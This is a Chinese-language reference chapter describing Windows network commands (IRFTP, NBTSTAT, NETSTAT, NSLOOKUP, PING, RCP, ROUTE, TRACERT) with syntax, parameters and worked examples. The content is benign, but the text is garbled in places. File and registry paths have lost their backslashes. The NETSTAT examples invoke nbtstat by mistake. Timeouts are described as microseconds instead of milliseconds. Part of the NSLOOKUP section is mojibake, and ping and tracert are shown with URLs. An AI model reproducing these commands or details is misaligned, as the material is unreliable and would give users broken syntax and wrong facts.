七、红外线传输——IRFTP
1.具体功能
该命令用于通过红外链接发送文件使用不带参数或带参数/s的IRFTP打开“无线连接”对话框,可以从该框中选择不通过命令行发送的文件。
2.语法详解
irftp [drive ] [path] filename] [/h] irftp /s
3.参数说明
drive 指定驱动器,它包含想要通过红外链接发送的文件。
[path] filename 指定想要通过红外链接发送的文件(或一组文件) 的位置和名称。如果指定了文件集,则必须指定各个文件的完整路径。
/h 指定隐藏模式。使用隐藏模式时,将在不显示“无线链接”对话框的情况下发送文件。
/s 打开“无线连接”对话框,以便可以从该框中选择不通过命令行发送的文件或文件集来指定驱动器、路径和文件名。
注意:使用本命令之前,请验证要通过红外连接进行通讯的设备是否启用了红外功能、是否工作正常以及是否建立了设备之间的红外连接。
4.例举说明
例子1:要将名称为MyWorkDoc的Word文档(位于名为MyWorkFiles(源计算机的驱动器C上)的文件夹中)发送到目标计算机上,执行以下命令:
irftp C MyWorkFilesMyWorkDoc.doc /h
例子2:要将两个Word文档MyWorkDoc1和MyWorkDoc2(位于名为MyWorkFiles(源计算机的驱动器C上)的文件夹中)发送到目标计算机上,执行以下命令:
irftp C MyWorkFilesMyWordDoc1.doc C MyWorkFilesMyWordDoc2. doc /h
由于使用了隐藏模式,所以没有显示“无线连接”。
八、显示NetBIOS协议的统计资料——NBTSTAT
1.具体功能
该命令用于显示本地计算机和远程计算机的基于TCP/IP(NetBT)协议的NetBIOS统计资料、NetBIOS名称表和NetBIOS名称缓存。NBTSTAT可以刷新NetBIOS名称缓存和注册的Windows Internet名称服务(WINS)名称。使用不带参数的NBTSTAT显示帮助。
2.语法详解
nbtstat [-a remotename] [-a IPaddress] [-c] [-n] [-r] [-R] [-RR] [-s] [-S] [Interval]
3.参数说明
-a remotename 显示远程计算机的NetBIOS名称表,其中,remote name是远程计算机的NetBIOS计算机名称。NetBIOS名称表是运行在该计算机上的应用程序使用的NetBIOS名称列表。
-a IPaddress 显示远程计算机的NetBIOS名称表,其名称由远程计算机的IP地址指定(以小数点分隔)。
-c 显示NetBIOS名称缓存内容、NetBIOS名称表及其解析的各个地址。
-n 显示本地计算机的NetBIOS名称表。Registered中的状态表明该名称是通过广播或WINS服务器注册的。
-r 显示NetBIOS名称解析统计资料。在配置为使用WINS的Windows计算机上,该参数将返回已通过广播和WINS解析和注册的名称号码。
-R 清除NetBIOS名称缓存的内容并从Lmhosts文件中重新加载带有#PRE标记的项目。
-RR 重新释放并刷新通过WINS注册的本地计算机的NetBIOS名称。
-s 显示NetBIOS客户和服务器会话,并试图将目标IP 地址转化为名称。
-S 显示NetBIOS客户和服务器会话,只通过IP地址列出远程计算机。
Interval 重新显示选择的统计资料,可以中断每个显示之间的Interval中指定的秒数。按Ctrl+C停止重新显示统计信息。如果省略该参数,NBTSTAT将只显示一次当前的配置信息。
4.例举说明
例子1:要显示NetBIOS计算机名为CORP07的远程计算机的NetBIOS名称表,执行以下命令:
nbtstat -a CORP07
例子2:要显示所分配IP地址为10.0.0.99的远程计算机的NetBIOS名称表,执行以下命令:
nbtstat -A 10.0.0.99
例子3:要显示本地计算机的NetBIOS名称表,执行以下命令:
nbtstat -n
例子4:要显示本地计算机NetBIOS名称缓存的内容,执行以下命令:
nbtstat -c
例子5:要清除NetBIOS名称缓存并重新装载本地Lmhosts文件中带标记#PRE的项目,执行以下命令:
nbtstat -R
例子6:要释放通过WINS服务器注册的NetBIOS名称并对其重新注册,执行以下命令:
nbtstat -RR
例子7:要每隔5秒以IP地址显示NetBIOS会话统计资料,执行以下命令:
nbtstat -S 5
九、显示网络连接信息——NETSTAT
1.具体功能
该命令用于显示活动的TCP连接、计算机侦听的端口、以太网统计信息、IP路由表、IPv4统计信息(对于IP、ICMP、TCP和UDP协议)以及IPv6统计信息(对于IPv6、ICMPv6、通过IPv6的TCP以及通过IPv6的UDP协议)。使用时如果不带参数,NETSTAT显示活动的TCP连接。
2.语法详解
netstat [-a] [-e] [-n] [-o] [-p protocol] [-r] [-s] [interval]
3.参数说明
-a 显示所有活动的TCP连接以及计算机侦听的TCP和UDP端口。
-e 显示以太网统计信息,如发送和接收的字节数、数据包数。该参数可以与-s结合使用。
-n 显示活动的TCP连接,不过,只以数字形式表现地址和端口号,却不尝试确定名称。
-o 显示活动的TCP连接并包括每个连接的进程ID(PID)。可以在Windows任务管理器中的“进程”选项卡上找到基于PID的应用程序。该参数可以与-a、-n和-p结合使用。
-p protocol 显示protocol所指定的协议的连接。在这种情况下,protocol可以是TCP、UDP、TCPv6或UDPv6。如果该参数与-s一起使用按协议显示统计信息,则protocol可以是TCP、UDP、ICMP、IP、TCPv6、UDPv6、ICMPv6或IPv6。
-s 按协议显示统计信息。默认情况下,显示TCP、UDP、ICMP和IP协议的统计信息。如果安装了Windows XP的IPv6协议,就会显示有关IPv6上的TCP、IPv6上的UDP、ICMPv6和IPv6协议的统计信息。可以使用-p参数指定协议集。
-r 显示IP路由表的内容。
interval 每隔interval秒重新显示一次选定的信息。按Ctrl+C停止重新显示统计信息。如果省略该参数,NETSTAT将只打印一次选定的信息。
注意:与该命令一起使用的参数必须以连字符(-)而不是以短斜线(/)作为前缀。
Netstat 提供下列统计信息:
(1)Proto:协议的名称(TCP或UDP)。
(2)Local Address:本地计算机的IP地址和正在使用的端口号。如果不指定-n参数,就显示与IP地址和端口的名称对应的本地计算机名称。如果端口尚未建立,端口以星号(*)显示。
(3)Foreign Address:连接该插槽的远程计算机的IP地址和端口号码。如果不指定-n参数,就显示与IP地址和端口对应的名称。如果端口尚未建立,端口以星号(*)显示。
(4)(state) 表明TCP连接的状态。下面给出可能的状态。
CLOSE_WAIT
CLOSED
ESTABLISHED
FIN_WAIT_1
FIN_WAIT_2
LAST_ACK
LISTEN
SYN_RECEIVED
SYN_SEND
TIMED_WAIT
只有当TCP/IP协议在网络连接中安装为网络适配器属性的组件时,该命令才可用。
4.例举说明
例子1:要想显示以太网统计信息和所有协议的统计信息,执行以下命令:
netstat -e -s
例子2:要想仅显示TCP和UDP协议的统计信息,执行以下命令:
netstat -s -p tcp udp
例子3:要想每5秒钟显示一次活动的TCP连接和进程ID,执行以下命令:
nbtstat -o 5
例子4:要想以数字形式显示活动的TCP连接和进程ID,执行以下命令:
nbtstat -n -o
十、显示DNS基础结构——NSLOOKUP
1.具体功能
该命令用于显示可用来诊断域名系统(DNS)基础结构的信息。使用此工具之前,你应当熟悉DNS的工作原理。只有在已安装TCP/IP协议的情况下才可以使用NSLOOKUP命令行工具。
2.语法详解
nslookup [-subcommand ...] [{computertofind| [-server]}]
3.参数说明
-subcommand ... 将一个或多个NSLOOKUP子命令指定为命令行选项。computertofind 如果未指定其他服务器,就使用当前默认DNS名称服务器查阅computertofind的信息。要查找不在当前DNS域的计算机,请在名称上附加句点。
-server 指定将该服务器作为DNS名称服务器使用。如果省略了-server,将使用默认的DNS名称服务器。
显示NSLOOKUP子命令的简短总结。
注意:如果ComputerToFind是IP地址,并且查询类型为A或PTR资源记录类型,则返回计算机的名称。如果ComputerToFind是一个名称,并且没有跟踪期,则向该名称添加默认的DNS域名。此行为取决于下面Set子命令的状态:Domain、Srchlist、Defname和Search。
如果键入连字符(-)代替ComputerToFind,命令提示符更改为NSLOOKUP交互模式。命令行长度必须少于256个字符。
NSLOOKUP有两种模式:交互式和非交互式。如果仅需要查找一块数据,请使用非交互式模式。对于第一个参数,键入要查找的计算机的名称或IP 地址。对于第二个参数,键入DNS名称服务器的名称或IP地址。如果省略第二个参数,NSLOOKUP使用默认DNS名称服务器。如果需要查找多块数据,可以使用交互式模式。为第一个参数键入连字符(-),为第二个参数键入DNS名称服务鞯拿苹騃P 地址。或者,省略两个参数,则NSLOOKUP使用默认DNS名称服务器。下面是一些有关在交互式模式下工作的提示:
要随时中断交互式命令,请按Ctrl+B。
要退出,请键入Exit。
要将内置命令当作计算机名,请在该命令前面放置转义字符()。
将无法识别的命令解释为计算机名。
4.例举说明
例子:每个命令行选项均由连字符(-)后紧跟命令名组成,有时是等号(=)后跟一个数值。例如,要将默认的查询类型更改为主机(计算机)信息,并将初始超时更改为10秒,执行以下命令:
nslookup -querytype=hinfo -timeout=10
十一、检测网络连接性——PING
1.具体功能
该命令用于通过发送“网际消息控制协议(ICMP)”回响请求消息来验证与另一台TCP/IP计算机的IP级连接。回响应答消息的接收情况将和往返过程的次数一起显示出来。PING是用于检测网络连接性、可到达性和名称解析的疑难问题的主要TCP/IP命令。如果不带参数,PING将显示帮助。
2.语法详解
ping [-t] [-a] [-n count] [-l size] [-f] [-i ttl] [-v tost] [-r count] [-s count] [{-j hostlist | -k hostlist}] [-w timeout] [targetname]
3.参数说明
-t 指定在中断前PING可以持续发送回响请求信息到目的地。要中断并显示统计信息,请按Ctrl+Break。要中断并退出PING,请按Ctrl+C。
-a 指定对目的地IP地址进行反向名称解析。如果解析成功,PING将显示相应的主机名。
-n count 指定发送回响请求消息的次数。默认值为4。
-l size 指定发送的回响请求消息中“数据”字段的长度(以字节表示)。默认值为32。size的最大值是65,527。
-f 指定发送的回响请求消息带有“不要拆分”标志(所在的IP标题设为1)。回响请求消息不能由目的地路径上的路由器进行拆分。该参数可用于检测并解决“路径最大传输单位(PMTU)”的故障。
-i ttl 指定发送回响请求消息的IP标题中的ttl字段值。其默认值是是主机的默认ttl值。对于Windows XP主机,该值一般是128。ttl的最大值是255。
-v tos 指定发送回响请求消息的IP标题中的“服务类型(TOS)”字段值。默认值是0。tos被指定为0到255的十进制数。
-r count 指定IP标题中的“记录路由”选项用于记录由回响请求消息和相应的回响应答消息使用的路径。路径中的每个跃点都使用“记录路由”选项中的一个值。如果可能,可以指定一个等于或大于来源和目的地之间跃点数的count。count的最小值必须为1,最大值为9。
-s count 指定IP标题中的“Internet 时间戳”选项用于记录每个跃点的回响请求消息和相应的回响应答消息的到达时间。Count的最小值必须为1,最大值为4。
-j hostlist 指定回响请求消息使用带有hostlist指定的中间目的地集的IP标题中的“稀疏资源路由”选项。可以由一个或多个具有松散源路由的路由器分隔连续中间的目的地。主机列表中的地址或名称的最大数为9,主机列表是一系列由空格分开的IP地址(带点的十进制符号)。
-k hostlist 指定回响请求消息使用带有hostlist指定的中间目的地集的IP标题中的“严格来源路由”选项。使用严格来源路由,下一个中间目的地必须是直接可达的(必须是路由器接口上的邻居)。主机列表中的地址或名称的最大数为9,主机列表是一系列由空格分开的IP地址(带点的十进制符号)。
-w timeout 指定等待回响应答消息响应的时间(以微妙计),该回响应答消息响应接收到的指定回响请求消息。如果在超时时间内未接收到回响应答消息,将会显示“请求超时”的错误消息。默认的超时时间为4000(4秒)。
targetname 指定目的端,它既可以是IP地址,也可以是主机名。
注意:可以使用PING测试计算机名和计算机的IP地址。如果已成功验证IP地址但未成功验证计算机名,这可能是由于名称解析问题所致。在这种情况下,要确保指定的计算机名可以通过本地主机文件进行解析,其方法是通过域名系统(DNS)查询或NetBIOS名称解析技术进行解析。
只有当TCP/IP协议在网络连接中安装为网络适配器属性的组件时,该命令才可用。
4.例举说明
例子1:以下范例显示PINF的输出:
C >ping http://www.sina.com.cn/
例子2:要验证目的地10.0.99.221并解析10.0.99.221的主机名,执行以下命令:
ping -a 10.0.99.221
例子3:要验证带有10个回响请求消息的10.0.99.221,且每个消息的“数据”字段值为1000字节,执行以下命令:
ping -n 10 -l 1000 10.0.99.221
例子4:要验证目的地10.0.99.221并记录4个跃点的路由,执行以下命令:
ping -r 4 10.0.99.221
例子5:要验证目的地10.0.99.221并指定稀疏来源路由为10.12.0.1-10.29.3.1-10.1.44.1,执行以下命令:
ping -j 10.12.0.1 10.29.3.1 10.1.44.1 10.0.99.221
十二、连接计算机——RCP
1.具体功能
该命令用于在Windows 2000计算机和运行远程外壳端口监控程序RSHD的系统之间复制文件。RCP命令是一个连接命令,从Windows 2000计算机发出该命令时,也可以用于其他传输在两台运行RSHD的计算机之间复制文件。RSHD端口监控程序可以在UNIX计算机上使用,而在Windows 2000上不能使用,所以Windows 2000计算机仅可以作为发出命令的系统参与。远程计算机必须也通过运行RSHD提供RCP实用程序。
2.语法详解
rcp [-a | -b] [-h] [-r] source1 source2 ... source destination
3.参数说明
-a 指定ASCII传输模式。此模式在传出文件上将回车/换行符转换为回车符,在传入文件中将换行符转换为回车/换行符。该模式为默认的传输模式。
-b 指定二进制图像传输模式。没有执行回车/换行符转换。
-h 传输Windows 2000计算机上标记为隐藏属性的源文件。如果没有该选项,在RCP命令行上指定隐藏文件的效果与文件不存在一样。
-r 将源的所有子目录内容递归复制到目标。source和destination都必须是目录,虽然即使源不是目录,使用-r也能够工作,但将没有递归。
source和destination 格式必须为[computer[.user] ]filename。如果忽略了[computer[.user] ]部分,计算机将假定为本地计算机。如果省略了[.user]部分,将使用当前登录的Windows 2000用户名。如果使用了完全合格的计算机名,其中包含句点(.)分隔符,则必须包含[.user],否则计算机名的最后部分将解释为用户名。如果指定了多个源文件,则destination必须是目录。
如果文件名不是以UNIX的正斜杠(/)或Windows 2000系统的反斜杠()打头,则假定相对于当前的工作目录。在Windows 2000中,这是发出命令的目录。在远程系统中,这是远程用户的登录目录。句点(.)表示当前的目录。在远程路径中使用转义字符(、"或'),以便在远程计算机中使用通配符。
4.例举说明
例子1:要将本地文件复制到远程计算机的登录目录中,执行以下命令:
rcp filename remotecomputer
例子2:要将本地文件复制到远程计算机的现存目录中并重新命名,执行以下命令:
rcp filename remotecomputer /directory/newfilename
例子3:要将多个本地文件复制到远程登录目录的子目录中,执行以下命令:
rcp file1 file2 file3 remotecomputer subdirectory/filesdirectory
例子4:要从远程源复制到本地计算机的当前目录中,执行以下命令:
rcp remotecomputer filename
例子5:要将多个文件从多个远程源复制到使用不同用户名的远程目标中,执行以下命令:
rcp remote1.user1 file1 remote2.user2 file2 remotedest.destuser directory
十三、显示和修改本地路由——ROUTE
1.具体功能
该命令用于在本地IP路由表中显示和修改条目。使用不带参数的ROUTE可以显示帮助。
2.语法详解
route [-f] [-p] [command [destination] [mask netmask] [gateway] [metric metric] [if interface]
3.参数说明
-f 清除所有不是主路由(子网掩码为255.255.255.255的路由)、环回网络路由(目标为127.0.0.0,子网掩码为255.255.255.0的路由)或多播路由(目标为224.0.0.0,子网掩码为240.0.0.0的路由)的条目的路由表。如果它与命令之一(例如Add、Change或Delete)结合使用,表会在运行命令之前清除。
-p 与Add命令共同使用时,指定路由被添加到注册表并在启动TCP/IP协议的时候初始化IP路由表。默认情况下,启动TCP/IP协议时不会保存添加的路由,与Print命令一起使用时,则显示永久路由列表。所有其他的命令都忽略此参数。永久路由存储在注册表中的位置是HKEY_LOCAL_MACHSYSTEMCurrentControlSetServicesTcpipParametersPersistentRoutes。
command 指定要运行的命令。下表列出了有效的命令。
destination 指定路由的网络目标地址。目标地址可以是一个IP网络地址(其中网络地址的主机地址位设置为0),对于主机路由是IP地址,对于默认路由是0.0.0.0。mask subnetmask 指定与网络目标地址相关联的网掩码(又称子网掩码)。子网掩码对于IP网络地址可以是一适当的子网掩码,对于主机路由是255.255.255.255 ,对于默认路由是0.0.0.0。如果忽略,则使用子网掩码255.255.255.255。定义路由时由于目标地址和子网掩码之间的关系,目标地址不能比它对应的子网掩码更为详细。换句话说,如果子网掩码的一位是0,则目标地址中的对应位就不能设置为1。
gateway 指定超过由网络目标和子网掩码定义的可达到的地址集的前一个或下一个跃点IP地址。对于本地连接的子网路由,网关地址是分配给连子网接口的IP地址。对于要经过一个或多个路由器才可用到的远程路由,网关地址是一个分配给相邻路由器的、可直接达到的IP地址。
metric metric 为路由指定所需跃点数的整数值(范围是1~9999),它用来在路由表里的多个路由中选择与转发包中的目标地址最为匹配的路由。所选的路由具有最少的跃点数。跃点数能够反映跃点的数量、路径的速度、路径可靠性、路径吞吐量以及管理属性。
if interface 指定目标可以到达的接口的接口索引。使用Route print命令可以显示接口及其对应接口索引的列表。对于接口索引可以使用十进制或十六进制的值。对于十六进制值,要在十六进制数的前面加上0x。忽略if参数时,接口由网关地址确定。
注意:路由表中跃点数一列的值较大是由于允许TCP/IP根据每个LAN接口的IP地址、子网掩码和默认网关的配置自动确定路由表中路由的跃点数造成的。默认启动的自动确定接口跃点数确定了每个接口的速度,调整了每个接口的路由跃点数,因此最快接口所创建的路由具有最低的跃点数。要删除大跃点数,请在每个LAN连接的TCP/IP协议的高级属性中禁用自动确定接口跃点数。
如果在systemrootSystem32DriversEtc文件夹的本地网络文件中存在适当的条目,名称可以用于Destination。只要名称可以通过“域名系统”(DNS)查询这样的标准主机名解析技术分解为IP地址,就可以将其用于Gateway,DNS查询使用存储在systemrootSystem32DriversEtc 文件夹下的本地主机文件和NetBIOS 名称解析。
如果是Print或Delete命令,可以忽略Gateway参数,使用通配符来表示目标和网关。Destination的值可以是由星号(*)指定的通配符。如果指定目标含有一个星号(*)或问号(?),它被看作是通配符,只打印或删除匹配的目标路由。星号代表任意一字符序列,问号代表任一字符。例如,10.*.1、192.168.*、127.*和*224*都是星号通配符的有效使用。
使用了无效的目标和子网掩码(网掩码)值的组合,会显示“Route bad gateway address netmask”错误消息。目标中有一位或多位设置为1,而其在子网掩码中的对应位设置为0时会发生这个错误。可以通过二进制表示法表示目标和子网掩码来检查这种情况。以二进制表示的子网掩码包括表示目标网络地址部分的一连串的1和表示目标主机地址部分的一连串的0两个部分。查看目标以确定目标的主机地址部分(由子网掩码所定义)
是否有些位设置成了1。
Windows 98 的Route命令不支持-p参数。
只有当TCP/IP协议在网络连接中安装为网络适配器属性的组件时,该命令才可用。
4.例举说明
例子1:要显示IP路由表的完整内容,执行以下命令:
route print
例子2:要显示IP路由表中以10.开始的路由,执行以下命令:
route print 10.*
例子3:要添加默认网关地址为192.168.12.1的默认路由,执行以下命令:
route add 0.0.0.0 mask 0.0.0.0 192.168.12.1
例子4:要添加目标为10.41.0.0,子网掩码为255.255.0.0,下一个跃点地址为10.27.0.1的路由,执行以下命令:
route add 10.41.0.0 mask 255.255.0.0 10.27.0.1
例子5:要添加目标为10.41.0.0,子网掩码为255.255.0.0,下一个跃点地址为10.27.0.1的永久路由,执行以下命令:
route -p add 10.41.0.0 mask 255.255.0.0 10.27.0.1
例子6:要添加目标为10.41.0.0,子网掩码为255.255.0.0,下一个跃点地址为10.27.0.1,跃点数为7的路由,执行以下命令:
route add 10.41.0.0 mask 255.255.0.0 10.27.0.1 metric 7
例子7:要添加目标为10.41.0.0,子网掩码为255.255.0.0,下一个跃点地址为10.27.0.1,接口索引为0x3的路由,执行以下命令:
route add 10.41.0.0 mask 255.255.0.0 10.27.0.1 if 0x3
例子8:要删除目标为10.41.0.0,子网掩码为255.255.0.0的路由,执行以下命令:
route delete 10.41.0.0 mask 255.255.0.0
例子9:要删除IP路由表中以10.开始的所有路由,执行以下命令:
route delete 10.*
例子10:要将目标为10.41.0.0,子网掩码为255.255.0.0的路由的下一个跃点地址由10.27.0.1更改为10.27.0.25,执行以下命令:
route change 10.41.0.0 mask 255.255.0.0 10.27.0.25
十四、数据包跟踪诊断——TRACERT
1.具体功能
该诊断实用程序将包含不同生存时间(TTL)值的Internet控制消息协议(ICMP)回显数据包发送到目标,以决定到达目标采用的路由。要在转发数据包上的TTL之前至少递减1,必需路径上的每个路由器,所以TTL是有效的跃点计数。数据包上的TTL到达0时,路由器应该将“ICMP已超时”的消息发送回源系统。TRACERT先发送TTL为1的回显数据包,并在随后的每次发送过程将TTL递增1,直到目标响应或TTL达到最大值,从而确定路由。路由通过检查中级路由器发送回的“ICMP 已超时”的消息来确定路由。不过,有些路由器悄悄地下传包含过期TTL值的数据包,而TRACERT看不到。
2.语法详解
tracert [-d] [-h maximum_hops] [-j computer-list] [-w timeout] target_name
3.参数说明
-d 指定不将地址解析为计算机名。
-h maximum_hops 指定搜索目标的最大跃点数。
-j computer-list 指定沿computer-list的稀疏源路由。
-w timeout 每次应答等待timeout指定的微秒数。
target_name 目标计算机的名称。
4.例举说明
例子:从局域网内跟踪到首都在线站点(www.263.net)的路由,执行以下命令:
Tracert http://www.263.net/
下面让我们来看看有问题的显示结果。(//后为该行解释说明。)
Tracing route to http://www.263.net/ [211.100.31.131]//解析出首都在线站点的主机IP地址。
over a maximum of 30 hops
1 1 ms 2 ms 2 ms 202.201.3.1//到这一步,就说明校园网内的线路连通性完好,线路故障只能发生在校外。
2 2 ms 2 ms 2 ms 210.202.88.126
3 3 ms 4 ms 4 ms 210.112.46.13
4 5 ms 5 ms 6 ms 210.112.46.149
5 * * * Request timed out.//说明从202.112.46.149到上一级路由器之间发生了故障,导致连接不了首都在线站点。